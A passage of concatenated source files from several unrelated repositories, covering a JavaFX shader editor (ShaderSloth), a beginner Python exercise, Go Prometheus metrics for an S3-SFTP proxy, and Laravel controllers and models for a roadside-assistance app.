public String getName() { return "maxValue"; } }; } return maxValue; } public void setMaxValue(double maxValue) { maxValueProperty().set(maxValue); } public double getMaxValue() { return maxValue == null ? Double.MAX_VALUE : maxValue.getValue(); } /** * The the label text */ private StringProperty label; public void setLabel(String value) { labelProperty().set(value); } public String getLabel() { return label == null ? "" : label.get(); } public StringProperty labelProperty() { if (label == null) { label = new StringPropertyBase("") { @Override public Object getBean() { return NumberInput.this; } @Override public String getName() { return "label"; } }; } return label; } private ObjectProperty<NumberFormat> format; public void setFormat(NumberFormat format) { formatProperty().set(format); } public NumberFormat getFormat() { return format == null ? NumberFormat.getInstance() : format.get(); } public ObjectProperty<NumberFormat> formatProperty() { if (format == null) { format = new ObjectPropertyBase<NumberFormat>(NumberFormat.getInstance()) { @Override public Object getBean() { return NumberInput.this; } @Override public String getName() { return "format"; } }; } return format; } @Override protected Skin<?> createDefaultSkin() { return new NumberInputSkin(this); } } ``` MenuBarController.java ```package eu.yvka.shadersloth.app.menubar; import com.google.inject.Inject; import eu.yvka.shadersloth.share.I18N.I18N; import eu.yvka.shadersloth.app.ShaderSlothController; import eu.yvka.shadersloth.app.preferences.GlobalUserPreferences; import javafx.fxml.FXML; import javafx.scene.control.Menu; import javafx.scene.control.MenuBar; import javafx.scene.control.MenuItem; import javafx.scene.control.SeparatorMenuItem; import javafx.scene.input.KeyCode; import javafx.scene.input.KeyCodeCombination; import javafx.scene.input.KeyCombination; import java.io.File; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import static eu.yvka.shadersloth.app.ShaderSlothController.*; /** * Controller which is responsible to handle * menubar actions and rendering of the menubar bar * * * @Author Yves Kaufmann * @since 01.07.2016 */ public class MenuBarController { /****************************************************************************** * * FXML Fields * ******************************************************************************/ @FXML private MenuBar menuBar; @FXML private Menu fileMenu; @FXML private MenuItem newMenuItem; @FXML private MenuItem openMenuItem; @FXML private Menu openRecentMenu; @FXML private MenuItem saveMenuItem; @FXML private MenuItem saveAsMenuItem; @FXML private MenuItem exitMenuItem; @FXML private Menu helpMenu; @FXML private MenuItem aboutMenuItem; /****************************************************************************** * * Fields * ******************************************************************************/ @Inject private GlobalUserPreferences userPreferences; private ShaderSlothController shaderSlothController; /****************************************************************************** * * Methods * ******************************************************************************/ public void initAppController(ShaderSlothController shaderSlothController) { if (this.shaderSlothController != null) { throw new IllegalStateException("AppController already assigned"); } this.shaderSlothController = shaderSlothController; } public void initialize() { userPreferences.readFromJavaPreference(); newMenuItem.setUserData(new ApplicationMenuItemController(ApplicationAction.ACTION_NEW)); newMenuItem.setAccelerator(new KeyCodeCombination(KeyCode.N, KeyCombination.CONTROL_DOWN)); openMenuItem.setUserData(new ApplicationMenuItemController(ApplicationAction.ACTION_OPEN)); openMenuItem.setAccelerator(new KeyCodeCombination(KeyCode.O, KeyCombination.CONTROL_DOWN)); openRecentMenu.setOnShown((e) -> updateRecentMenu()); saveMenuItem.setUserData(new ApplicationMenuItemController(ApplicationAction.ACTION_SAVE)); saveMenuItem.setAccelerator(new KeyCodeCombination(KeyCode.S, KeyCombination.CONTROL_DOWN)); saveAsMenuItem.setUserData(new ApplicationMenuItemController(ApplicationAction.ACTION_SAVE_AS)); saveAsMenuItem.setAccelerator(new KeyCodeCombination(KeyCode.S, KeyCombination.SHIFT_DOWN, KeyCombination.CONTROL_DOWN)); exitMenuItem.setUserData(new ApplicationMenuItemController(ApplicationAction.ACTION_QUIT)); aboutMenuItem.setUserData(new ApplicationMenuItemController(ApplicationAction.ACTION_ABOUT)); menuBar.getMenus().forEach(this::setupMenuHandlers); updateRecentMenu(); } /****************************************************************************** * * Methods * ******************************************************************************/ private void setupMenuHandlers(final MenuItem menuItem) { if (menuItem instanceof Menu) { final Menu menu = (Menu) menuItem; menu.getItems().forEach(this::setupMenuHandlers); menu.setOnMenuValidation((e) -> { handleOnMenuValidation(menu); }); } else { if (menuItem.getUserData() instanceof MenuItemController) { MenuItemController itemController = (MenuItemController) menuItem.getUserData(); menuItem.setOnAction((e) -> { if (itemController.canPerform()) { itemController.perform(); } }); } } } private void handleOnMenuValidation(Menu menu) { for (MenuItem i : menu.getItems()) { final boolean disable, selected; final String title; if (i.getUserData() instanceof MenuItemController) { final MenuItemController c = (MenuItemController) i.getUserData(); boolean canPerform; try { canPerform = c.canPerform(); } catch(RuntimeException x) { canPerform = false; final Exception xx = new Exception(c.getClass().getSimpleName() + ".canPerform() did break for menubar item " + i, x); //NOI18N xx.printStackTrace(); } disable = !canPerform; title = c.getTitle(); selected = c.isSelected(); } else { if (i instanceof Menu) { disable = false; selected = false; title = null; } else { disable = true; selected = false; title = null; } } i.setDisable(disable); if (title != null) { i.setText(title); } } } /** * Updates the entries for the recent menubar which contains * projects which were opened in the past. */ private void updateRecentMenu() { final List<String> recentItems = userPreferences.getRecentOpenedProjects(); final List<MenuItem> menuItems = new ArrayList<>(); MenuItem clearRecentItem = new MenuItem(I18N.getString("menu.title.open.recent.clear")); clearRecentItem.setOnAction((e) -> { userPreferences.clearRecentOpenedProjects(); updateRecentMenu(); }); if (recentItems.isEmpty()) { clearRecentItem.setDisable(true); menuItems.add(clearRecentItem); } else { final List<String> recentToRemove = new ArrayList<>(); final Map<String, Integer> recentProjectNames = new HashMap<>(); clearRecentItem.setDisable(false); // Detects if a item still exists and mark this for removal. // Furthermore it determined if names are unique for (String recentItem : recentItems) { // when the recentItem file is gone remove it from the pref db final File recentProjectFolder = new File(recentItem); if (recentProjectFolder.exists()) { String name = recentProjectFolder.getName(); if (recentProjectNames.containsKey(name)) { recentProjectNames.put(name, recentProjectNames.get(name) + 1); } else { recentProjectNames.put(name, 1); } } else { recentToRemove.add(recentItem); } } // Second pass for building the menubar items for (String recentItem : recentItems) { final File recentProjectFolder = new File(recentItem); if (recentProjectFolder.exists()) { String name = recentProjectFolder.getName(); MenuItem recentMenuItem = new MenuItem(); recentMenuItem.setMnemonicParsing(false); if (recentProjectNames.get(name) > 1) { recentMenuItem.setText(recentProjectFolder.getAbsolutePath()); } else { recentMenuItem.setText(name); } recentMenuItem.setOnAction((e) -> { this.shaderSlothController.performOpenRecentProject(new File(recentItem)); }); menuItems.add(recentMenuItem); } } if (! recentToRemove.isEmpty()) { userPreferences.removeRecentOpenedProjects(recentToRemove); } menuItems.add(new SeparatorMenuItem()); menuItems.add(clearRecentItem); } openRecentMenu.getItems().setAll(menuItems); } /****************************************************************************** * * Inner Classes * ******************************************************************************/ class ApplicationMenuItemController extends MenuItemController { private ApplicationAction action; public ApplicationMenuItemController(ApplicationAction action) { this.action = action; } @Override public boolean canPerform() { return shaderSlothController.canPerformAction(action); } @Override public void perform() { shaderSlothController.performAction(action); } } abstract class MenuItemController { public abstract boolean canPerform(); public abstract void perform(); public String getTitle() { return null; } public boolean isSelected() { return false; } } } ``` ProjectReader.java ```package eu.yvka.shadersloth.app.project; import java.io.File; import java.io.IOException; /** * @Author Yves Kaufmann * @since 15.07.2016 */ public interface ProjectReader { public static final String DEFAULT_PROJECT_FILE = "project.xml"; Project loadProject(File file) throws IOException; } ``` MaterialEvent.java ```package eu.yvka.shadersloth.app.materialEditor; import eu.yvka.slothengine.material.Material; import javafx.beans.NamedArg; import javafx.event.Event; import javafx.event.EventType; import javafx.scene.input.DragEvent; import javafx.scene.input.InputEvent; import javafx.scene.input.MouseDragEvent; import javafx.scene.input.MouseEvent; /** * Event which indicates creation/modification/changes of materials * * @author Yves Kaufmann * @since 25.07.2016 */ public class MaterialEvent extends Event { /** * Common supertype for all Material event types. */ public static final EventType<MaterialEvent> ANY = new EventType<MaterialEvent>(Event.ANY, "MATERIAL"); /** * This event occurs when a material is changed. */ public static final EventType<MaterialEvent> MATERIAL_CHANGED = new EventType<MaterialEvent>(MaterialEvent.ANY, "MATERIAL_CHANGED"); /** * This event occurs when a material name is changed. */ public static final EventType<MaterialEvent> MATERIAL_NAME_CHANGED = new EventType<MaterialEvent>(MaterialEvent.MATERIAL_CHANGED, "MATERIAL_NAME_CHANGED"); /** * This event occurs when a material is changed. */ public static final EventType<MaterialEvent> MATERIAL_CREATED = new EventType<MaterialEvent>(MaterialEvent.MATERIAL_CHANGED, "MATERIAL_CREATED"); /** * This event occurs when a material is changed. */ public static final EventType<MaterialEvent> MATERIAL_DELETED = new EventType<MaterialEvent>(MaterialEvent.MATERIAL_CHANGED, "MATERIAL_DELETED"); private Material affectedMaterial; /** * Create MaterialEvent with the specified event type * * @param eventType the specified event type */ public MaterialEvent(@NamedArg("eventType") EventType<? extends Event> eventType, Material affectedMaterial) { super(eventType); this.affectedMaterial = affectedMaterial; } public Material getAffectedMaterial() { return affectedMaterial; } } ``` GuiceInjectorContext.java ```package eu.yvka.shadersloth.share.context; import com.google.inject.Guice; import com.google.inject.Injector; import com.google.inject.Module; import eu.yvka.shadersloth.share.utils.ReflectionUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.annotation.PreDestroy; import java.lang.reflect.Method; import java.util.Collection; import java.util.Objects; import java.util.function.Supplier; public class GuiceInjectorContext implements DIContext { private static final Logger Log = LoggerFactory.getLogger(GuiceInjectorContext.class); private Object rootObject; private Supplier<Collection<Module>> moduleSupplier; private Injector injector; public GuiceInjectorContext(Object rootObject, Supplier<Collection<Module>> moduleSupplier) { this.moduleSupplier = Objects.requireNonNull(moduleSupplier); this.rootObject = Objects.requireNonNull(rootObject); } @Override public void init() { injector = Guice.createInjector(moduleSupplier.get()); injector.injectMembers(rootObject); moduleSupplier = null; Log.info("Created DI context"); } @Override public void injectMembers(Object object) { injector.injectMembers(object); } @Override public <T> T getInstance(Class<T> type) { return injector.getInstance(type); } @Override public void destroy() { Log.info("Destroying DI context"); injector.getAllBindings().values().stream() .map((binding -> binding.getProvider().get())) .forEach((obj) -> { boolean preDestroyInvoked = false; try { for (Method method : ReflectionUtils.getMethodsWithAnnotation(obj.getClass(), PreDestroy.class)) { ReflectionUtils.invokeMethod(obj, method); preDestroyInvoked = true; } if (preDestroyInvoked) { Log.info("Destroyed " + obj.getClass().getSimpleName()); } } catch (Exception ex) { Log.warn("Failed to destroy instance of " + obj.getClass().getSimpleName()); } }); } } ``` ProjectImpl.java ```package eu.yvka.shadersloth.app.project; import eu.yvka.shadersloth.app.AppFolder; import eu.yvka.slothengine.material.BasicMaterial; import eu.yvka.slothengine.material.Material; import eu.yvka.slothengine.scene.Scene; import eu.yvka.slothengine.texture.Texture; import eu.yvka.slothengine.texture.TextureManager; import eu.yvka.slothengine.utils.NameAlreadyInUseException; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.xml.bind.annotation.XmlAnyAttribute; import javax.xml.bind.annotation.XmlAttribute; import javax.xml.bind.annotation.XmlList; import javax.xml.bind.annotation.XmlRootElement; import java.io.File; import java.util.ArrayList; import java.util.List; /** * @Author Yves Kaufmann * @since 14.07.2016 */ public class ProjectImpl implements Project { String name; File projectFolder; private List<Material> materials = new ArrayList<>(); private List<Texture> textures = new ArrayList<>(); private Scene scene = new Scene(); @Override public String getName() { return name; } @Override public void setName(String name) { final File projectFolder = new File(AppFolder.getProjectsFolder(), name); this.projectFolder = projectFolder; this.name = name; } @Override public File getProjectFolder() { return projectFolder; } @Override public Scene getScene() { return scene; } @Override public Material createMaterial(String name) throws NameAlreadyInUseException { if (isMaterialNameInUse(name)) { throw new NameAlreadyInUseException(name); } final Material material = new BasicMaterial(); material.setMaterialName(name); materials.add(material); return material; } @XmlList @Override public List<Material> getMaterials() { return materials; } @Override public Material getMaterial(String materialName) { assert materialName != null; for (Material material : materials) { if ( materialName.equals(material.getMaterialName())) { return material; } } return null; } @Override public Material removeMaterial(Material material) { if (materials.contains(material)) { materials.remove(material); return material; } return null; } @Override public Material removeMaterial(String materialName) { final Material materialToRemove = getMaterial(materialName); return removeMaterial(materialToRemove); } @Override public Texture createTexture(String name) throws NameAlreadyInUseException { if (isTextureNameInUse(name)) { throw new NameAlreadyInUseException(name); } // TODO: allow image loading // Allows it to create textures by passing a image // final Texture texture = new TextureManager().createTexture(); return null; } @Override public List<Texture> getTextures() { return textures; } @Override public Texture getTexture(String textureName) { assert textureName != null; for (Texture texture : textures) { if ( textureName.equals(texture.getName())) { return texture; } } return null; } @Override public Texture removeTexture(Texture texture) { if (textures.contains(texture)) { textures.remove(texture); return texture; } return null; } @Override public Texture removeTexture(String textureName) { final Texture textureToRemove = getTexture(textureName); return removeTexture(textureToRemove); } /****************************************************************************** * * Internal Api * ******************************************************************************/ private void ensureProjectNameIsUnused(File file) throws NameAlreadyInUseException { if (file.exists() && file.isDirectory()) { throw new NameAlreadyInUseException(file.getAbsolutePath()); } } private boolean isMaterialNameInUse(String name) { for (Material material : materials) { if (name.equals(material.getMaterialName())) return true; } return false; } private boolean isTextureNameInUse(String name) { for (Texture texture : textures) { if (name.equals(texture.getName())) return true; } return false; } } ``` Project.java ```package eu.yvka.shadersloth.app.project; import eu.yvka.slothengine.material.Material; import eu.yvka.slothengine.scene.Scene; import eu.yvka.slothengine.texture.Texture; import eu.yvka.slothengine.utils.NameAlreadyInUseException; import java.io.File; import java.util.List; /** * Interface of a shader sloth project. * * @Author Yves Kaufmann * @since 14.07.2016 */ public interface Project { String getName(); void setName(String name); File getProjectFolder(); Scene getScene(); Material createMaterial(String name) throws NameAlreadyInUseException; List<Material> getMaterials(); Material getMaterial(String materialName); Material removeMaterial(Material material); Material removeMaterial(String materialName); Texture createTexture(String name) throws NameAlreadyInUseException; List<Texture> getTextures(); Texture getTexture(String materialName); Texture removeTexture(Texture material); Texture removeTexture(String materialName); } ```
yvette-luong/first-repo
yvette-luong/first-repo README.md ```# first-repo My first repository on Github ``` data-types.py ```""" Boolean = True or False String = "Yvette" Undefined = A value that is not defined Integer = 132432 Camel Case = lower case first word and then capitalize each following word: example: helloWorld """ "1231314" Yvette = 123 Yvette def helloYvette(): # this is a function, which is indicated by brackets print("Hello my name is Yvette") helloYvette() # calling the function def helloAnyone(name): # accept a parameter print(f"Hello my name is {name}") helloAnyone("sjfajkhf") # sjfajkhf is an argument def multiply(x, y): return x * y print(multiply(6, 2)) print("Hello this is print") def add(a, b): return a + b print(add(4, 5)) ```
yvlasenko/s3-sftp-proxy
yvlasenko/s3-sftp-proxy metrics.go ```package main import ( "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promauto" ) var ( mOperationStatus = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "sftp_operation_status", Help: "Represents SFTP operation statuses", }, []string{"method", "status"}, ) mAWSSessionError = promauto.NewCounter(prometheus.CounterOpts{ Name: "sftp_aws_session_error", Help: "The total number of session errors", }, ) mPermissionsError = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "sftp_permissions_error", Help: "The total number of permission errors", }, []string{"method"}, ) ) ```
yvnsuarez/REIN
yvnsuarez/REIN DashboardController.php ```<?php namespace App\Http\Controllers\Web\Admin; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; use Lcobucci\JWT\Parser; use Validator; use App\Report; use App\User; use App\Feedbacks; use App\Charts\ReportChart; class HomeController extends Controller { public function index() { //Admin Login View return view('Admin.home'); } public function login() { return view('Admin.login'); } public function dashboard(){ $pending = DB::table('reports')->where('status', 'Pending')->count(); $accepted = DB::table('reports')->where('status', 'Accepted')->count(); $ongoing = DB::table('reports')->where('status', 'Ongoing')->count(); $done = DB::table('reports')->where('status', 'Done')->count(); $repSuspended = DB::table('users')->where('Status', 'Suspended')->count(); $repPending = DB::table('users')->where('Status', 'Pending')->count(); $repActivated = DB::table('users')->where('Status', 'Activated')->count(); $repDeactivated = DB::table('users')->where('Status', 'Deactivated')->count(); $dead = DB::table('reports')->where('servicetype', 2)->count(); $flat = DB::table('reports')->where('servicetype', 1)->count(); $tow = DB::table('reports')->where('servicetype', 3)->count(); $sum = DB::table('reports')->where('status', 'Done')->sum('totalservice'); return view('admin.Home', ['pending' => $pending, 'accepted' => $accepted, 'ongoing' => $ongoing, 'done' => $done, 'repSuspended' => $repSuspended, 'repPending' => $repPending, 'repActivated' => $repActivated, 'repDeactivated' => $repDeactivated, 'flat' => $flat, 'dead' => $dead, 'tow' => $tow, 'sum' => $sum]); } public function ViewReports() { $details = Report::all(); //->where('UserTypeID', '=', 2) if(count($details)> 0){ return view('admin/Reports', ['details' => $details]); }else{ return response()->json("No Records Found"); } } public function ViewMotorists(){ $users = User::where('UserTypeId', '=', 3)->get(); //->where('UserTypeID', '=', 2) return view ('admin.Motorists', compact('users')); } public function landing(){ return view('PartnerCompany.LandingPage'); } public function partnerhome(){ return view('PartnerCompany.Home'); } public function reports(){ $details = Report::all(); if(count($details)> 0){ return view('PartnerCompany/Reports', ['details' => $details]); }else{ return response()->json("No Records Found"); } } public function assistants() { $users = User::where('UserTypeID', '=', 2)->get(); return view ('PartnerCompany.Assistants', compact('users')); } public function feedbacks() { $feedbacks = Feedbacks::all(); return view ('PartnerCompany.Feedbacks', compact('feedbacks')); } public function googleLineChart() { $visitor = DB::table('visitor') ->select( DB::raw("year(created_at) as year"), DB::raw("SUM(click) as total_click"), DB::raw("SUM(viewer) as total_viewer")) ->orderBy("created_at") ->groupBy(DB::raw("year(created_at)")) ->get(); $result[] = ['Year','Click','Viewer']; foreach ($visitor as $key => $value) { $result[++$key] = [$value->year, (int)$value->total_click, (int)$value->total_viewer]; } return view('google-line-chart') ->with('visitor',json_encode($result)); } } ``` Car.php ```<?php namespace App; use Laravel\Passport\HasApiTokens; use Illuminate\Notifications\Notifiable; use Illuminate\Database\Eloquent\Model; class Car extends Model { // public $timestamps = false; protected $fillable =[ 'userID','PlateNo','CarType','Color','Model','YearModel','Brand','Battery','Tire', 'DateCreated' ]; } ``` ReportsController.php ```<?php namespace App\Http\Controllers\API; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use LaravelFCM\Message\OptionsBuilder; use LaravelFCM\Message\PayloadDataBuilder; use LaravelFCM\Message\PayloadNotificationBuilder; use FCM; use App\Reports; use App\Brand; use App\Type; use Validator; use App\Payments; class reportscontroller extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { //Report::all(); $report = Report::where("ID", request("ID"))->first(); return response()->json(["servicetype" => $report->servicetype, "addcharge" => $report->addcharge, "status" => $report->status,"totalservice" => $report->totalservice],200); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { $random = rand(1000,10000); $inputall = $request->all(); $inputall['UniqueID'] = $random; // dd($inputall); $validator = Validator::make($inputall, [ 'UniqueID' => 'unique:reports,UniqueID', 'partner', 'userID' => 'required', 'assistant', 'instruction', 'servicetype', 'image', 'Lat' , 'Lon' , 'comment', 'addcharge', 'totalservice' => 'required', 'status' => 'required', 'DateSubmitted', 'DateUpdated', ]); if ($validator->fails()) { return response()->json(['error'=>$validator->errors()], 401); } $report = Reports::create($inputall); // dd($report); $input2 = $request->only(['PaymentType','Status']); // $input2['Status']=$input2['paymentStat']; $input2['ReportID']= $inputall['UniqueID']; // dd($input2); $payment = Payments::create($input2); return response()->json($report,200); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show(Request $request) { if (Auth::check()) { $results = Report::find($request); return $results; } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request) { $validator = Validator::make($request->all(), [ 'servicetype', 'addcharge', 'totalservice', 'status', 'DateUpdated', ]); if ($validator->fails()) { return response()->json(['error'=>$validator->errors()], 401); } $report = Report::where("ID", $request->ID) ->update([ "status" => $request->status, "servicetype" => $request->servicetype, "addcharge" => $request->addcharge, "totalservice" => $request->totalservice]); return response()->json($report, 200); } public function updateStatus(Request $request) { $report = Reports::where("ID", $request->ID) ->update([ "status"=>"Cancelled"]); return response()->json($report, 200); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function viewupdate(Request $request) { $report = Report::where("ID", $request->ID)->first(); return response()->json(["ID" => $report->ID, "servicetype" => $report->servicetype, "addcharge" => $report->addcharge, "status" => $report->status, "totalservice" => $report->totalservice, "DateSubmitted" => $report->datesubmitted],200); } public function notification(Request $request){ $optionBuilder = new OptionsBuilder(); $optionBuilder->setTimeToLive(60*20); $notificationBuilder = new PayloadNotificationBuilder('REIN APP'); $notificationBuilder->setBody('CONFIRMED') ->setSound('default'); $dataBuilder = new PayloadDataBuilder(); $dataBuilder->addData(['a_data' => 'my_data']); $option = $optionBuilder->build(); $notification = $notificationBuilder->build(); $data = $dataBuilder->build(); $downstreamResponse = FCM::sendTo($request->token, $option, $notification, $data); return response()->json(["numberSuccess"=>$downstreamResponse->numberSuccess(),"numberFailure"=>$downstreamResponse->numberFailure()],200); // return Array (key:token, value:errror) - in production you should remove from your databas } public function car(Request $request) { // $brand = Brand::all(); if ($brand){ return response()->json($brand, 200); } else { return response()->json(["SAD" => "No records found"], 500); } } public function type(Request $request) { // $brand = Type::all(); if ($brand){ return response()->json($brand, 200); } else { return response()->json(["SAD" => "No records found"], 500); } } } ``` ReportsController.php ```<?php namespace App\Http\Controllers\Web\PartnerCompany; use App\Reports; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; use PDF; class ReportsController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth:partner'); } public function index() { $reports = Reports::all(); return view ('requests.index', compact('reports')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $reports = Reports::find($id); return view('requests.show', compact('reports')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } public function downloadpdf($id){ $reports = Reports::find($id); $pdf = PDF::loadView('pdf', compact('reports')); return $pdf->download('report.pdf'); } } ``` FeedbacksController.php ```<?php namespace App\Http\Controllers\Web\PartnerCompany; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\DB; use App\Feedbacks; use App\User; use App\Reports; use Auth; class FeedbacksController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth:partner'); } public function index() { $getpartner = Auth::user(); $partner = $getpartner->id; $getreportpartner =['partner' => $partner]; $reports = Reports::where($getreportpartner) ->get()->first(); $feedbackreport = ['reportID' => $reports->ID]; //Display feedbacks based on transactions made by the logged in partner company $feedbacks = DB::table('feedbacks') ->where('reportID', $feedbackreport) ->get(); return view ('Partner.Feedbacks', compact('feedbacks')); } function showFeedback($ID) { $getpartner = Auth::user(); $partner = $getpartner->id; $getreportpartner =['partner' => $partner]; $reports = Reports::where($getreportpartner) ->get() ->first(); $feedbackreport = ['reportID' => $reports->ID]; $getmotorist = ['id' => $reports->userID]; $motorist = User::where($getmotorist) ->get() ->first(); $getassistant = ['id' => $reports->assistant]; $assistant = User::where($getassistant)->get()->first(); $getreport = ['ID' => $feedbackreport]; $report = DB::table('reports') ->where($getreport) ->get() ->first(); $feedbacks = DB::table('feedbacks') ->where('ID',$ID) ->get() ->first(); return view('Partner.ShowFeedback', compact('feedbacks', 'motorist', 'report', 'assistant')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $feedback = Feedbacks::find($id); return view('feedbacks.show', compact('feedback')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } ``` Reports.php ```<?php namespace App; use Illuminate\Database\Eloquent\Model; class Reports extends Model { protected $table = 'reports'; protected $primaryKey = 'id'; protected $fillable =[ 'ID','partner', 'userID','assistant','instruction','servicetype','image', 'Lat','Lon', 'comment', 'addcharge', 'totalservice', 'totalservice', 'status', 'paymentstatus', 'created_at', 'updated_at', 'CarID', 'UniqueID' ]; public $timestamps = false; public function user() { return $this->belongsTo('App\User', 'userID'); } public function partner() { return $this->belongsTo('App\User', 'partner'); } public function car(Request $request) { // $brand = Brand::all(); if ($brand){ return response()->json($brand, 200); } else { return response()->json(["SAD" => "No records found"], 500); } } public function type(Request $request) { // $brand = Type::all(); if ($brand){ return response()->json($brand, 200); } else { return response()->json(["SAD" => "No records found"], 500); } } } ``` Locations.php ```<?php namespace REIN; use Illuminate\Database\Eloquent\Model; class Locations extends Model { // protected $fillable =[ 'LocationId','UserId','Lat','Lon' ]; } ``` user_typesController.php ```<?php namespace App\Http\Controllers; use App\Http\Controllers\Controller; use App\user_types; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Validator; use LaravelFCM\Message\OptionsBuilder; use LaravelFCM\Message\PayloadDataBuilder; use LaravelFCM\Message\PayloadNotificationBuilder; use FCM; class user_typesController extends Controller { public function index() { $records = user_types::all(); if (count($records) > 0) { return user_types::all(); } else { return response()->json("No records founds"); } } public function show(user_types $user_types) { return $user_types; } public function store(Request $request) { if (Auth::check()) { $validator = Validator::make($request->all(), [ 'type' => 'required|max:25|string', ]); if ($validator->fails()) { return response()->json(['error' => $validator->errors()], 401); } $input = $request->all(); $user_types = user_types::create($input); return response()->json($user_types, 201); } else { return response()->json(['error' => 'Unauthorized'], 401); } } } ``` ComplaintsController.php ```<?php namespace App\Http\Controllers\Web\PartnerCompany; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Complaints; class ComplaintsController extends Controller { public function index() { $complaints = Complaints::all(); //->where('UserTypeID', '=', 2) return view ('partnerCompany.Complaints', compact('complaints')); } } ``` Cars.php ```<?php namespace REIN; use Illuminate\Database\Eloquent\Model; class Cars extends Model { // protected $fillable =[ 'CarId','PlateNo','TypeID','Color','Model','YearModel','BrandID','Battery','Tire', 'DateCreated' ]; } ``` PartnerLoginController.php ```<?php namespace App\Http\Controllers\Web\PartnerAuth; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Auth; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\DB; class PartnerLoginController extends Controller { public function __construct() { $this->middleware('guest:partner', ['except' => ['partnerLogout']]); } public function showLoginform() { return view('partner-auth.partner-login'); } public function login(Request $request) { $this->validate($request, [ 'Email' => 'required', 'password' => 'required', 'g-recaptcha-response' => 'required|captcha', ]); if (Auth::guard('partner')->attempt(['Email' => $request->Email, 'password' => $request->password, 'UserTypeID' => '4', 'Status' => 'Activated']))//, 'UserTypeID' => '4' { $getemail = ['Email' => $request->Email]; // $gettype = ['UserTypeID' => '4']; $getid = DB::table('users') ->where($getemail) ->get() ->first(); DB::table('user_logs') ->insert(['UserID' => $getid->id, 'Type' => "Login", 'Description' => "Logged in successfully"]); return redirect()->intended(route('partner.dashboard')); } else { $errmsg = "Email or Password is Invalid"; return redirect()->back()->with('failure', $errmsg); //return view('login/loginAdmin', compact('errmsg')); } } public function partnerLogout() { // $getid = Auth::user(); DB::table('user_logs') ->insert(['UserID' => '2', 'Type' => "Logout", 'Description' => "Logged out successfully"]); Auth::guard('partner')->logout(); return redirect('/partner/login')->with(Auth::logout()); } }``` CarsController.php ```<?php namespace app\Http\Controllers\API; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use App\Car; use Validator; class CarsController extends Controller { public function index() { // $records = Car::all(); if(count($records)> 0){ return Car::all(); }else{ return response()->json("No Records Found"); } } public function store(Request $request) { $validator = Validator::make($request->all(), [ 'userID', 'PlateNo' => 'required', 'CarType' => 'required', 'Color' => 'required', 'Model' => 'required|max:100', 'YearModel' => 'required|max:100', 'Brand' => 'required|max:100', 'Battery' => 'required|max:100', 'Tire' => 'required|max:100', 'DateCreated', ]); if ($validator->fails()) { return response()->json(['error'=>$validator->errors()], 401); } $input = $request->all(); $cars = Car::create($input); return response()->json($cars,200); } public function show(Request $request) { if (Auth::check()) { $results = Car::find($request); return $results; } } } ``` UserController.php ```<?php namespace app\Http\Controllers\API; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\User; use Illuminate\Support\Facades\Auth; use Validator; use Mail; use App\Reports; use App\Car; class UserController extends Controller { public $successStatus = 200; /** * login api * * @return \Illuminate\Http\Response */ public function login() { $Credentials = ['Email' => request('Email'), 'password' => request('password'), 'Status' => 'Activated', 'UserTypeID' => request('UserTypeID')]; $authenticate = Auth::attempt($Credentials); if ($authenticate) { $accesstoken = request('accesstoken'); $user = Auth::user(); $usertype = request('UserTypeID'); if ($usertype == 2) { $success['token'] = $user->createToken($accesstoken, ['assistant'])->accessToken; } else { $success['token'] = $user->createToken($accesstoken, ['motorist'])->accessToken; } return response()->json(["id" => $user->id ,"token" => $success['token']], 200); } else { return response()->json(['error' => 'Email or Password is Invalid / Account is not Authenticated'], 401); } } /** * Register api * * @return \Illuminate\Http\Response */ public function register(Request $request) { $validator = Validator::make($request->all(), [ 'UserTypeID' => 'required', 'CarID' , 